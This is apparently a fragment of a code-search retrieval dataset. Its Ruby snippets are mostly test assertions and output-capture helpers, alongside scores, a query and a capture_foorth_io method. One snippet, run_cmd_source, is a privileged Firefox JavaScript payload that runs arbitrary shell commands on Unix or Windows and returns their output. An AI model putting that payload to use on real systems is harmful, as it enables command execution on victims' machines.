m.match(line) || line == expected_output\n puts \"Found expected command output:\"\n puts line\n foundit = true\n end\n }\n return foundit;\n end\n return true\n else\n return expected_outputs == command_output\n end\n end", "def test_dsl_2\n #------------------\n show Spock + Lizard\n #------------------\n assert_equal \\\n \"Lizard poisons Spock (winner Lizard)\\n\" \\\n \"Result = Lizard\\n\", \\\n @out.string\n end", "def try_to_execute(code)\n begin\n result = 0\n\n stderr_orig = $stderr.dup\n stdout_orig = $stdout.dup\n\n Dir.chdir(Dir.tmpdir) do\n File.write(cpp_source_file, code)\n\n command = \"#{cpp_command} \"\n command += \"#{cpp_out_file} \"\n command += cpp_source_file\n\n # Temporarily close these\n $stderr.reopen(IO::NULL)\n $stdout.reopen(IO::NULL)\n\n if system(command)\n $stdout.reopen(stdout_orig) # We need this back for open3 to work.\n\n conftest = File::ALT_SEPARATOR ? 'conftest.exe' : './conftest.exe'\n\n Open3.popen3(conftest) do |stdin, stdout, stderr|\n stdin.close\n stderr.close\n result = stdout.gets.chomp.to_i\n end\n else\n raise \"Failed to compile source code with command '#{command}':\\n===\\n#{code}===\"\n end\n end\n ensure\n FileUtils.rm_f(cpp_source_file)\n FileUtils.rm_f(cpp_out_file)\n $stderr.reopen(stderr_orig)\n $stdout.reopen(stdout_orig)\n end\n\n result\n end", "def match?(ast)\n source_line == ast.line\n end", "def testResult(code)\n require 'sicuro'\n logger.info\"................................#{code}\"\n @codeResult = Sicuro.eval(code)\n logger.info \"............................ #{@codeResult}\"\n (@codeResult.stdout).gsub(/(?:\\n\\r?|\\r\\n?)/, '<br>')\n end", "def verify_output()\n STDERR.print \"Checking output \"\n expected = IO.popen(%W(ls -1UA #{TARGET_DIR})) {|c| c.read }\n\n [ true, false ].each do |with_std|\n cmd = [ BIN_PATH, \"-p\" ]\n cmd << \"-s\" if with_std\n cmd << TARGET_DIR\n\n output = IO.popen(%W(ls -1UA #{TARGET_DIR})) {|c| c.read }\n if expected != output\n STDERR.puts \" [failed] #{cmd * \" \"}\"\n exit 1\n end\n\n STDERR.print \".\"\n end\n\n STDERR.puts \" OK\"\nend", "def test_dsl_1\n #---------\n show Spock\n #---------\n assert_equal \\\n \"Result = Spock\\n\", @out.string\n end", "def run\n exe_file, result = compile\n\n if result.failed?\n puts result.error\n return\n end\n\n if cases.empty?\n puts 'No test case found!'\n return\n end\n\n cmd = TTY::Command.new(printer: :progress)\n exe_output = File.join(@temp_dir, 'output')\n\n cases.each do |input, output|\n cmd.run!(exe_file, in: input, out: exe_output)\n identical = FileUtils.compare_file(output, exe_output)\n identical ? puts('Passed') : puts('Failed')\n end\n end", "def test_dsl_4\n #-------------------------\n show Spock + Lizard + Rock\n #-------------------------\n assert_equal \\\n \"Lizard poisons Spock (winner Lizard)\\n\" \\\n \"Rock crushes Lizard (winner Rock)\\n\" \\\n \"Result = Rock\\n\", \\\n @out.string\n end", "def test_stdout_redir\n with_fixture 'stdoutredir' do\n assert system(\"ruby\", ocra, \"stdoutredir.rb\", *DefaultArgs)\n assert File.exist?(\"stdoutredir.exe\")\n system(\"stdoutredir.exe > output.txt\")\n assert File.exist?(\"output.txt\")\n assert_equal \"Hello, World!\\n\", File.read(\"output.txt\")\n end\n end", "def check_for_correct_output\n\t\tif Digest::MD5.hexdigest(File.read(OUTFILE)) == CORRECT_MD5\n\t\t\tputs 'Output is correct!'\n\t\telse\n\t\t\tputs 'Output is incorrect. Continue debugging.'\n\t\tend\n\tend", "def format\n if compile_error?\n \"FAILED: Test did not run because of compilation error\"\n else\n lines.reduce([]) do |formatted, l|\n if l.match(/(FAILED: .*) expected to (.*), but (.*)/)\n formatted << $1\n formatted << \" expected: \" + $2\n formatted << \" actual: \" + replace_binary($3)\n end\n formatted\n end.join(\"\\n\")\n end\n end", "def foorth_raises(source, err=XfOOrth::XfOOrthError, debug=false)\r\n self.assertions += 1\r\n vm = Thread.current[:vm]\r\n vm.debug = debug\r\n failed, msg = false, \"\"\r\n\r\n begin\r\n vm.process_string(source)\r\n msg = \"Expected: #{err}\\n Actual: No exception raised.\"\r\n failed = true\r\n\r\n rescue Exception => e\r\n unless e.class == err\r\n msg = \"Expected: #{err}\\n Actual: #{e.class}\"\r\n failed = true\r\n end\r\n end\r\n\r\n raise MiniTest::Assertion, msg, caller if failed\r\n\r\n ensure\r\n vm.debug = false\r\n vm.interpreter_reset\r\n vm.compiler_reset\r\n end", "def test_line_1\n assert_output(/^There are 10 types of people\\.\\n/) { @ex6.strings_and_text }\n end", "def test_run_runs_the_command_and_returns_the_output\n Crd::Flex::Command.new 'echo' do |s|\n s.output = 'Main.swf'\n assert_equal( '-output=Main.swf', s.run! )\n end\n end", "def assert_correct_output(expected_outputs, command_output)\n foundit = check_correct_output(expected_outputs, command_output)\n assert(foundit, \"Did not find in command output: #{expected_outputs}\")\n end", "def test_scm_st_036\n printf \"\\n Test 036\"\n end", "def have_stdout *expectations\n StdoutMatcher.new(*expectations)\n end", "def test_ut_diff_source_code_02\n assert_equal(1,@diff_source_code_1.diff_result_id)\n assert_equal(1,@diff_source_code_1.original_file_id)\n assert_equal(1,@diff_source_code_1.diff_file_id)\n assert_equal(nil,@diff_source_code_1.added_lines)\n assert_equal(\"7;8;9;25;390;396;397;400;404\",@diff_source_code_1.deleted_lines)\n assert_equal(\"1,1;2,2;3,3;4,4;6,6;10,10;11,11;12,12;13,13;14,14;15,15;\",@diff_source_code_1.common_lines)\n end", "def test_dsl_6\n #--------------------------------------------\n show Rock + Paper + Scissors + Lizard + Spock\n #--------------------------------------------\n assert_equal \\\n \"Paper covers Rock (winner Paper)\\n\" \\\n \"Scissors cut Paper (winner Scissors)\\n\" \\\n \"Scissors decapitate Lizard (winner Scissors)\\n\" \\\n \"Spock smashes Scissors (winner Spock)\\n\" \\\n \"Result = Spock\\n\", \\\n @out.string\n end", "def check_equal(message, a, b, source=nil)\n if a==b\n output = \" * #{message}: OK (#{a})\"\n else\n output = \" * **#{message}: ERROR #{a} != #{b}**\"\n end\n output = output + \" [fuente](#{source})\" unless source.nil?\n output\n end", "def source_line; end", "def run_test_file(executable)\n @last_cmd = executable\n @last_out = \"\"\n @last_err = \"\"\n ret = Host.run_and_output(executable.to_s.shellescape)\n\n # print any stack traces found during a failure\n print_stack_dump(executable) unless ret\n\n ret\n end", "def test_code_1\n string = \"Line 321: Variable x is not initialized\\n\"\n assert_output(string) { Errorcode.error(1, 321, 'x') }\n end", "def assert_output output\n stdout = $stdout.dup\n Tempfile.open 'stdout-redirect' do |temp|\n $stdout.reopen temp.path, 'w'\n yield if block_given?\n $stdout.reopen stdout\n temp.rewind\n\n temp.readline; temp.readline\n assert_equal output, temp.read.chop\n end \n end", "def test() \n @runner.prepareForFile(@filename)\n testIfAvailable(codeFilename())\n end", "def test_print_usage\n fr = FileReader.new\n assert_output(\"Usage: ruby verifier.rb <name_of_file>\\n\"\\\n \"\\tname_of_file = name of file to verify\\n\") { fr.print_usage }\n end", "def view\n if pending?\n ask_pending\n elsif failed?\n ask_failed\n else\n puts rendered\n puts \"Rendered output for #{test_file} matches expected.\"\n end\n end", "def test_equality_w_and_echo\n assert_eq interpret(\"var=33; :var == 33 && echo('ok')\"),\"ok\\n\" \n end", "def test_see_results_valid_output\n mock_map = Minitest::Mock.new('Mock Map')\n mock_map_finder = Minitest::Mock.new('Mock Map Finder')\n joe = Prospector.new(mock_map, mock_map_finder)\n out_put = \"After 0 days, Rubyist 4 found:\\n 0 rubies.\\n 0 fake rubies.\\nGoing home empty-handed.\\n\"\n assert_output(out_put) { joe.see_results(4) }\n end", "def test_single_line_string\r\n test_string = \"abc\"\r\n source = XfOOrth::StringSource.new(test_string)\r\n\r\n assert_equal(source.get, 'a')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, 'b')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, 'c')\r\n refute(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, ' ')\r\n assert(source.eoln?)\r\n refute(source.eof?)\r\n\r\n assert_equal(source.get, nil)\r\n assert(source.eoln?)\r\n assert(source.eof?)\r\n end", "def test_game_displays_winner\n @game.move(1, 1) #X\n @game.move(2, 2) #O\n @game.move(1, 2) #X\n @game.move(2, 0) #O\n assert_output(/#{@game.player_1} Wins!/) { @game.move(1, 0) } #X\n end", "def test_print_usage\n assert_output(\"Usage:\nruby ruby_rush.rb *seed* *num_prospectors* *num_turns*\n*seed* should be an integer\n*num_prospectors* should be a non-negative integer\n*num_turns* should be a non-negative integer\\n\") { print_usage }\n end", "def ok\n $stdout = @orig_stdout\n $stderr = @orig_stderr\n end", "def test_dsl_5\n #---------------------------\n show Spock + (Lizard + Rock)\n #---------------------------\n assert_equal \\\n \"Rock crushes Lizard (winner Rock)\\n\" \\\n \"Spock vaporizes Rock (winner Spock)\\n\" \\\n \"Result = Spock\\n\", \\\n @out.string\n end", "def test_dsl_7\n #--------------------------------------------\n show Rock - Paper - Scissors - Lizard - Spock\n #--------------------------------------------\n assert_equal \\\n \"Paper covers Rock (loser Rock)\\n\" \\\n \"Rock crushes Scissors (loser Scissors)\\n\" \\\n \"Scissors decapitate Lizard (loser Lizard)\\n\" \\\n \"Lizard poisons Spock (loser Spock)\\n\" \\\n \"Result = Spock\\n\", \\\n @out.string\n end", "def run_cmd_source\n %Q|\n #{read_file_source}\n #{set_timeout_source}\n\n var ua = Components.classes[\"@mozilla.org/network/protocol;1?name=http\"]\n .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;\n var windows = (ua.indexOf(\"Windows\")>-1);\n var svcs = Components.utils.import(\"resource://gre/modules/Services.jsm\");\n var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;\n var runCmd = function(cmd, cb) {\n cb = cb \\|\\| (function(){});\n\n if (cmd.trim().length == 0) {\n setTimeout(function(){ cb(\"Command is empty string ('').\"); });\n return;\n }\n\n var js = (/^\\\\s*\\\\[JAVASCRIPT\\\\]([\\\\s\\\\S]*)\\\\[\\\\/JAVASCRIPT\\\\]/g).exec(cmd.trim());\n if (js) {\n var tag = \"[!JAVASCRIPT]\";\n var sync = true; /* avoid zalgo's reach */\n var sent = false;\n var retVal = null;\n\n try {\n this.send = function(r){\n if (sent) return;\n sent = true;\n if (r) {\n if (sync) setTimeout(function(){ cb(false, r+tag+\"\\\\n\"); });\n else cb(false, r+tag+\"\\\\n\");\n }\n };\n retVal = Function(js[1]).call(this);\n } catch (e) { retVal = e.message; }\n\n sync = false;\n\n if (retVal && !sent) {\n sent = true;\n setTimeout(function(){ cb(false, retVal+tag+\"\\\\n\"); });\n }\n\n return;\n }\n\n var shEsc = \"\\\\\\\\$&\";\n var shPath = \"/bin/sh -c\";\n\n if (windows) {\n shPath = \"cmd /c\";\n shEsc = \"\\\\^$&\";\n var jscriptFile = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n .getService(Components.interfaces.nsIProperties)\n .get(\"TmpD\", Components.interfaces.nsIFile);\n jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js');\n var stream = Components.classes[\"@mozilla.org/network/safe-file-output-stream;1\"]\n .createInstance(Components.interfaces.nsIFileOutputStream);\n stream.init(jscriptFile, 0x04 \\| 0x08 \\| 0x20, 0666, 0);\n stream.write(jscript, jscript.length);\n if (stream instanceof Components.interfaces.nsISafeOutputStream) {\n stream.finish();\n } else {\n stream.close();\n }\n }\n\n var stdoutFile = \"#{Rex::Text.rand_text_alphanumeric(8+rand(12))}\";\n\n var stdout = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n .getService(Components.interfaces.nsIProperties)\n .get(\"TmpD\", Components.interfaces.nsIFile);\n stdout.append(stdoutFile);\n\n var shell;\n cmd = cmd.trim();\n if (windows) {\n shell = shPath+\" \"+cmd;\n shell = shPath+\" \"+shell.replace(/\\\\W/g, shEsc)+\" >\"+stdout.path+\" 2>&1\";\n var b64 = svcs.btoa(shell);\n } else {\n shell = shPath+\" \"+cmd.replace(/\\\\W/g, shEsc);\n shell = shPath+\" \"+shell.replace(/\\\\W/g, shEsc) + \" >\"+stdout.path+\" 2>&1\";\n }\n\n var process = Components.classes[\"@mozilla.org/process/util;1\"]\n .createInstance(Components.interfaces.nsIProcess);\n var sh = Components.classes[\"@mozilla.org/file/local;1\"]\n .createInstance(Components.interfaces.nsILocalFile);\n\n if (windows) {\n sh.initWithPath(\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\");\n process.init(sh);\n var args = [jscriptFile.path, b64];\n process.run(true, args, args.length);\n jscriptFile.remove(true);\n setTimeout(function(){cb(false, cmd+\"\\\\n\"+readFile(stdout.path));});\n } else {\n sh.initWithPath(\"/bin/sh\");\n process.init(sh);\n var args = [\"-c\", shell];\n process.run(true, args, args.length);\n setTimeout(function(){cb(false, readFile(stdout.path));});\n }\n };\n |\n end", "def assert(expected, output)\n left = expected.to_s.gsub(/\\s+/, ' ').gsub(/>\\s+</, '><').strip\n right = output.to_s.gsub(/\\s+/, ' ').gsub(/>\\s+</, '><').strip\n left.scan(/./).sort.should == right.scan(/./).sort\n#\n# unless left == right\n# puts \"\", \"Expected:\"\n# puts left\n# puts tidy(left)\n# puts \"\", \"Got:\"\n# puts right\n# puts tidy(right)\n# puts\n# end\n# left.should == right\n end", "def assert(expected, output)\n left = expected.to_s.gsub(/\\s+/, ' ').gsub(/>\\s+</, '><').strip\n right = output.to_s.gsub(/\\s+/, ' ').gsub(/>\\s+</, '><').strip\n nodiff = left.scan(/./).sort == right.scan(/./).sort\n unless ( nodiff )\n puts \"\\nERROR in comparaison\\n\"\n puts \"EXPECTED : #{left}\"\n puts \"RETURNED : #{right}\"\n end\n nodiff.should == true\n end", "def check_page_source_match(string)\n $driver.page_source.should =~ Regexp.new(string, Regexp::MULTILINE)\n end", "def resolve_source(source)\n if source\n source = source.dup\n source.gsub!(/\\$\\([^)]+\\)/) do |m|\n command = m[2..-2]\n result = `#{command}`.chomp\n unless $?.success?\n raise Error, \"Command exited with non-zero status:\\n#{command}\"\n end\n result\n end\n end\n source\n end", "def inject_tm_harness( src )\n File.open(src, 'a') do |f|\n f.puts \"#{harnessXXX()}\"\n end \n end", "def test_parsing_siblings_source_and_result\n to_parse = %q{@html {@body { }@content { }}}.chomp\n assert_source to_parse, %q{_src='';_src.concat('<html>');_src.concat('<body>');_src.concat('</body>');_src.concat('<content>');_src.concat('</content>');_src.concat('</html>');_src;}.chomp\n assert_result to_parse, \"<html><body></body><content></content></html>\"\n end", "def pre_process(expectations, source)\n\t\tsource\n\tend", "def test_magic_ball_print_shake\n magic_ball = Predictor.new\n # Remember the \\n!\n assert_output(\"SHAKE SHAKE SHAKE\\n\") { magic_ball.print_shake }\n end", "def analysis_succeeded(stdout)\n while (line = stdout.gets)\n puts line\n end\n end", "def assert_run(*args)\n out, result = Open3.capture2e(*args)\n assert(result.success?, <<-ERROR)\n=== assert_run[#{args.join(' ')}] ===\n#{out.strip}\n===\n ERROR\n end", "def run_cmd_check_status_and_output(expected_status = \"succeed\", expected_result = nil)\n it do\n match_status(\"should #{expected_status}\")\n expect(cmd_output).to include(expected_result) if expected_result\n end\nend", "def test_error_normal\n stack = TokenStack.new\n expected = 'Line 0: Testing'\n terp = Interpreter.new(false, true)\n error = terp.error(0, stack, 0, 'Testing')\n\n assert_equal expected, error\n end", "def expect_stdout(commands, expected_stdout)\n cli = new_cli()\n\n mock_stdout = StringIO.new\n $stdout = mock_stdout\n\n allow(cli).to receive(:get_command).and_return(*commands)\n cli.run()\n expect(mock_stdout.string).to eql(expected_stdout)\nend", "def assert_run(*args)\n out, result = Open3.capture2e(*args)\n raise <<-ERROR unless result.success?\n === assert_run[#{args.join(' ')}] ===\n #{out.strip}\n ===\n ERROR\n end", "def assert_sub_process_returns(expected_lines, code, extra_load_path = [], required = ['tzinfo'])\n ruby = File.join(RbConfig::CONFIG['bindir'],\n RbConfig::CONFIG['ruby_install_name'] + RbConfig::CONFIG['EXEEXT'])\n\n load_path = [TZINFO_LIB_DIR] + extra_load_path\n\n # If RubyGems is loaded in the current process, then require it in the\n # sub-process, as it may be needed in order to require dependencies.\n if defined?(Gem) && Gem.instance_of?(Module)\n required = ['rubygems'] + required\n end\n\n if defined?(RUBY_ENGINE) && RUBY_ENGINE == 'rbx'\n # Stop Rubinius from operating as irb.\n args = ' -'\n else\n args = ''\n end\n\n IO.popen(\"\\\"#{ruby}\\\"#{args}\", 'r+') do |process|\n load_path.each do |p|\n process.puts(\"$:.unshift('#{p.gsub(\"'\", \"\\\\\\\\'\")}')\")\n end\n\n required.each do |r|\n process.puts(\"require '#{r.gsub(\"'\", \"\\\\\\\\'\")}'\")\n end\n\n process.puts(code)\n process.flush\n process.close_write\n\n actual_lines = process.readlines\n actual_lines = actual_lines.collect {|l| l.chomp}\n assert_equal(expected_lines, actual_lines)\n end\n end", "def augment_success(send, line)\n @phase = :execute\n @augmented_code = make_runnable(@augmented_code)\n\n send.call([\n {:write_file => {:filename => @filename, :content => @augmented_code}},\n {:execute => {:command => \"env PYTHONPATH=$LIB$/python #{VM_PYTHON} -B #{@filename}\",\n :stdout => 'executeoutput',\n :stderr => 'executeerror'}}])\n # Don't output anything\n return {:type => :no}\n end", "def assert_html(expectation, source, print_error_if_error: true, vars: {})\n renderer = Bade::Renderer.from_source(source).with_locals(vars)\n assert_html_from_renderer renderer, expectation, print_error_if_error: print_error_if_error\nend", "def test_original_source_code_01\n original_source_code = OriginalSourceCode.new(:original_file_id => 1,\n :line_number => 2,\n :line_content => \"y1\",\n :error_line => 45)\n assert original_source_code.save\n orginal_source_code_copy = OriginalSourceCode.find(original_source_code.id)\n assert_equal original_source_code.line_number,orginal_source_code_copy.line_number \n assert original_source_code.valid?\n assert original_source_code.destroy\n end", "def test_ruby_string_1\n pros = Prospector.new(0,0,0)\n assert pros.ruby_string(1).eql? '1 ruby'\n end", "def assert_returns(cmd, expect, msg=nil)\n\t\tc = R::Command.new [$path_exe, *cmd]\n\t\tc.run\n\t\t\n\t\tif expect.is_a? Array\n\t\t\texpect = expect.join \"\\n\"\n\t\t\texpect << \"\\n\"\n\t\tend\n\t\t\n\t\tassert c.success?\n\t\tassert_equal expect, c.stdout, msg\n\tend", "def format_source(source); end", "def run\n src = ARGF.read\n exit 2 unless src\n\n interpreter = Expectr::Interpreter.new(src.untaint)\n interpreter.filename = $FILENAME\n interpreter.run\n end", "def testcase_output(str, testcase, newline=true)\n testcase.output(str, newline) if testcase\n end", "def expect_execute(cli, command, expected_output)\n expect(cli.execute(command)).to eql(expected_output)\nend", "def matches?(block)\n old_to = @stream.dup\n\n # Obtain a filehandle to replace (works with Readline)\n @stream.reopen File.open(File.join(Dir.tmpdir, \"should_output_#{$$}\"), \"w+\")\n\n # Execute\n block.call\n\n # Restore\n out = @stream.dup\n @stream.reopen old_to\n\n # Grab the data\n out.rewind\n @data = out.read\n\n # Match up\n case @expected\n when Regexp\n @data.should =~ @expected\n else\n @data.should == @expected\n end\n\n # Clean up\n ensure\n out.close if out and !out.closed?\n\n # STDIO redirection will break else\n begin\n @stream.seek 0, IO::SEEK_END\n rescue Errno::ESPIPE, Errno::EPIPE\n # Ignore\n end\n\n FileUtils.rm out.path if out\n end", "def irrelevant_line?(source_line); end", "def process_source(source)\n return source if source.is_a?(String) && source =~ /\\n/\n\n source, _ = engine.fetch_source(source, { :view_path => options[:view_path] })\n source\n end", "def assert(statement,val)\n ret = eval(statement)\n print \"Checking '#{statement.ljust(35)}': \"\n print \"Expecting #{val}, got #{ret}. \".ljust(29)\n if ret == val\n puts \"(PASS)\" \n else\n puts \"(FAIL)\" \n end\nend", "def assert_compiled_javascript_matches(javascript, expectation)\n assert_equal expectation.gsub(/\\s/, \"\"), javascript.gsub(/\\s/, \"\")\nend", "def test_print_ruby_found_both\n mock_location = Minitest::Mock.new('location')\n def mock_location.name; 'a'; end\n def plural?(x); 'ruby'; end\n assert_output(\" Found 1 ruby and 1 fake ruby in a.\\n\"){\n @p.print_ruby_found_in_this_location(mock_location, [1, 1])}\n end", "def test_show_rush_result\n assert_output(\"After 2 days, Rubyist 1 found:\n 10 rubies.\n 10 fake rubies.\nGoing home victorious!\\n\"){ @p.show_rush_result(2, 1, [10, 10]) }\n end", "def show source=nil, query=nil\n # try showing existing man page files for given source\n if file = find(source) and File.file? file and file.respond_to? :to_str\n man_page = File.basename(file)\n man_path = File.expand_path('../../man', file)\n return if show_man(man_path, man_page, query)\n end\n\n # fall back to rendering embedded manpage source or showing it as-is\n header = text(source)\n return if show_str(header, query)\n puts header\n end", "def assert_exec_output(node, command, expected_exitcode, expected_outputs)\n params = {}\n params[:exceptiononfailure] = false\n params[:exitcode] = true\n (exitcode, output) = node.execute(command, params)\n assert_equal(expected_exitcode.to_s, exitcode, \"Wrong exitcode returned\")\n assert_correct_output(expected_outputs, output)\n end", "def test_print_out_found_nothing\n ruby_rush=RubyRush.new(1, 2, 3)\n ruby_rush.real_sp='rubies'\n ruby_rush.fake_sp='rubies'\n assert_output (\"\\tFound no #{ruby_rush.real_sp} or fake #{ruby_rush.fake_sp} in #{ruby_rush.city}.\\n\") {ruby_rush.print_out_found_nothing}\n end", "def assert_code( code , op , should )\n assert_equal op , code.opcode\n io = StringIO.new\n code.assemble(io)\n binary = io.string\n assert_equal should.length , binary.length , \"code length wrong for #{code.inspect}\"\n index = 0\n binary.each_byte do |byte |\n msg = \"byte #{index} 0x#{should[index].to_s(16)} != 0x#{byte.to_s(16)} | \"\n msg += \"#{should[index].to_s(2)} != #{byte.to_s(2)}\"\n assert_equal should[index] , byte , msg\n index += 1\n end\n end", "def do_run\n return unless @output\n\n @output_buffer = []\n @output.value = ''\n @editor.focus\n source = @editor.value.strip\n return unless source\n\n # Add additional code if available\n if @loaded && @current_item && @current_item.load_code\n source = \"#{@current_item.load_code}\\n#{source}\"\n end\n\n # Compile\n begin\n code = Opal.compile(source)\n rescue Exception => err\n log_error err\n end\n\n # Run\n eval_code code\n end", "def code_climate_test\n p \"Code Climate running\"\nend", "def run_code(code)\n @output.puts # spacer\n begin\n @output.puts \" BEGIN DEBUG \".center(WIDTH, '=')\n eval(code.join(\"\\n\")) # Need to join, since +code+ is an Array.\n @output.puts \" END DEBUG \".center(WIDTH, '=')\n rescue Exception => error\n @output.puts \" DEBUG FAILED \".center(WIDTH, '=')\n @output.puts error\n end\n @output.puts # spacer\n end", "def test_print_gold\n assert_output(\"\\tMining Results\\n\\tGold found: 7 ounces\\n\") do\n @game.print_mining_results(0, 7)\n end\n end", "def test_code_3\n string = \"Line 14: 31 elements in stack after evaluation\\n\"\n assert_output(string) { Errorcode.error(3, 14, 31) }\n end", "def test_basic\n Dir.chdir(SRC_DIR) do \n assert_equal(true, \n run_debugger(\"info\", \n \"--script info.cmd -- gcd.rb 3 5\"))\n end\n end", "def test_print_silver_gold\n assert_output(\"\\tMining Results\\n\\tSilver found: 6 ounces\\n\\tGold found: 2 ounces\\n\") do\n @game.print_mining_results(6, 2)\n end\n end", "def test_version\n assert_match(/^Ocra \\d+(\\.\\d)+$/, `ruby #{ocra} --version`)\n end", "def source() end" ]
[ "0.70157194", "0.59723455", "0.5947456", "0.5921424", "0.58899117", "0.5832348", "0.5831107", "0.5817124", "0.5762262", "0.57610613", "0.57472575", "0.5712533", "0.56552607", "0.561581", "0.5601578", "0.55762404", "0.5573613", "0.5562881", "0.55486417", "0.55486107", "0.5525302", "0.55151457", "0.55119437", "0.55039424", "0.5482422", "0.5467025", "0.54598755", "0.54117674", "0.54077584", "0.5394294", "0.53702676", "0.53630793", "0.5349816", "0.53347826", "0.5323787", "0.53206176", "0.5307837", "0.5306445", "0.52962893", "0.52900875", "0.52883554", "0.5282383", "0.5275133", "0.5259997", "0.5247197", "0.52417326", "0.52370065", "0.52332324", "0.5232283", "0.52297115", "0.5224817", "0.52179", "0.52075636", "0.5203098", "0.5198918", "0.519549", "0.5190408", "0.5183437", "0.5179461", "0.5166276", "0.51578975", "0.51503533", "0.5140503", "0.5131947", "0.51260316", "0.5119547", "0.5116152", "0.510113", "0.5093919", "0.5092184", "0.5084694", "0.5067073", "0.5064526", "0.505884", "0.5058011", "0.5056899", "0.5046386", "0.5036773", "0.5032954", "0.5030378", "0.50178325", "0.5017417", "0.5013726", "0.5011021", "0.50049365", "0.50003755", "0.499921", "0.49778715", "0.49762663", "0.49754742", "0.49714363", "0.49710968", "0.49656478", "0.49646735", "0.49546218", "0.49465376", "0.49463505", "0.4945929", "0.49422342", "0.49421734" ]
0.767308
0
Copied here for study
def capture_foorth_io require 'stringio' orig_stdout = $stdout (s_o = StringIO.new).set_encoding 'UTF-8' captured_stdout = s_o $stdout = captured_stdout yield return captured_stdout.string.bytes.to_a ensure $stdout = orig_stdout end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def probers; end", "def schubert; end", "def formation; end", "def stderrs; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def terpene; end", "def transformations; end", "def schumann; end", "def suivre; end", "def malts; end", "def trd; end", "def anchored; end", "def operations; end", "def operations; end", "def berlioz; end", "def offences_by; end", "def verdi; end", "def identify; end", "def rassoc(p0) end", "def villian; end", "def intensifier; end", "def transform; end", "def ismn; end", "def jack_handey; end", "def who_we_are\r\n end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def apply\n\t\t\n\tend", "def apply\n\t\t\n\tend", "def bs; end", "def transforms; end", "def pos() end", "def pos() end", "def pos() end", "def pos() end", "def parts; end", "def parts; end", "def parts; end", "def tld; end", "def tld; end", "def custom; end", "def custom; end", "def parslet; end", "def parslet; end", "def parslet; end", "def parslet; end", "def r; end", "def r; end", "def calculated; end", "def dh; end", "def sld; end", "def celebration; end", "def implementation; end", "def implementation; end", "def weber; end", "def algorithms; end", "def algorithms; end", "def algorithms; end", "def algorithms; end", "def algorithms; end", "def feruchemist; end", "def index(p0) end", "def index(p0) end", "def transformation\n end", "def operation; end", "def blg; end", "def processor; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def king_richard_iii; end", "def isolated; end", "def isolated; end", "def dv; end", "def loc; end", "def loc; end", "def loc; end", "def deco_pos; end", "def refutal()\n end", "def probers=(_arg0); end", "def mitch_hedberg; end", "def strain; end", "def hd\n \n end", "def code_of_conduct; end", "def gounod; end", "def original_result; end", "def same; end", "def guct\n end" ]
[ "0.70659965", "0.66911554", "0.64754254", "0.6433394", "0.6416257", "0.61991954", "0.61991954", "0.61991954", "0.61991954", "0.61891776", "0.61838746", "0.61520123", "0.60844535", "0.6079408", "0.60446894", "0.6017083", "0.60110307", "0.60110307", "0.59987545", "0.599644", "0.59653616", "0.59610486", "0.59596634", "0.59267354", "0.5904234", "0.58233684", "0.58105755", "0.5771855", "0.57687455", "0.5762226", "0.5762226", "0.5762226", "0.5762226", "0.5762226", "0.5762226", "0.575466", "0.575466", "0.57332367", "0.57266384", "0.57218164", "0.57218164", "0.57218164", "0.57218164", "0.57080275", "0.57080275", "0.57080275", "0.57046807", "0.57046807", "0.56615865", "0.56615865", "0.5651365", "0.5651365", "0.5651365", "0.5651365", "0.5646646", "0.5646646", "0.56411314", "0.5624528", "0.56149095", "0.558426", "0.55832416", "0.55832416", "0.5564721", "0.555842", "0.555842", "0.555842", "0.555842", "0.555842", "0.5547651", "0.55247945", "0.55247945", "0.5522132", "0.55204433", "0.5513924", "0.5508927", "0.5500749", "0.5500749", "0.5500749", "0.5500749", "0.5500749", "0.5500749", "0.5500749", "0.5500749", "0.5496843", "0.54954267", "0.54954267", "0.5494306", "0.54913914", "0.54913914", "0.54913914", "0.5486354", "0.5484925", "0.54848474", "0.5478214", "0.54771256", "0.5467313", "0.54628474", "0.5460701", "0.5459595", "0.5457397", "0.5457097" ]
0.0
-1
When the source is executed, does the stdout match? Forces UTF8 encoding. Parameters: source A string containing fOOrth source code to execute. expected An array of bytes expected for the console.
def foorth_utf8_output(source, expected) self.assertions += 1 vm = Thread.current[:vm] actual = capture_foorth_io do vm.process_string(source) end if expected != actual msg = "Expected: #{expected.inspect}\n Actual: #{actual.inspect}" raise MiniTest::Assertion, msg, caller end ensure vm.interpreter_reset vm.compiler_reset end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def foorth_output(source, expected)\r\n self.assertions += 1\r\n failed, msg = false, \"\"\r\n vm = Thread.current[:vm]\r\n\r\n actual, _nc = capture_io do\r\n vm.process_string(source)\r\n end\r\n\r\n if expected != actual\r\n msg = \"Expected: #{expected.inspect}\\n Actual: #{actual.inspect}\"\r\n raise MiniTest::Assertion, msg, caller\r\n end\r\n\r\n ensure\r\n vm.interpreter_reset\r\n vm.compiler_reset\r\n end", "def foorth_equal(source, remainder=[], debug=false)\r\n self.assertions += 1\r\n vm = Thread.current[:vm]\r\n vm.debug = debug\r\n vm.process_string(source)\r\n\r\n unless remainder == vm.data_stack\r\n msg = \"Expected: #{remainder.inspect}\\n Actual: #{vm.data_stack.inspect}\"\r\n raise MiniTest::Assertion, msg, caller\r\n end\r\n ensure\r\n vm.debug = false\r\n vm.interpreter_reset\r\n vm.compiler_reset\r\n end", "def check_source!\n raise \"#{@source_path} is not readable\" unless @source_path.readable?\n output = %x[ruby -c #{@source_path} 2>&1]\n raise \"#{@source_path} is not valid ruby:\\n#{output}\" unless $?.success?\n true\n end", "def test_it_displays_correct_encoded_confirmation_msg\n #skipped when message.txt changes from Hello world and resulting byte-count changes\n if ARGV[0] == \"message.txt\" #skips test depending on encoding or decoding\n night_write = NightWrite.new\n expected = \"Created 'braille.txt' containing 74 characters.\"\n actual = 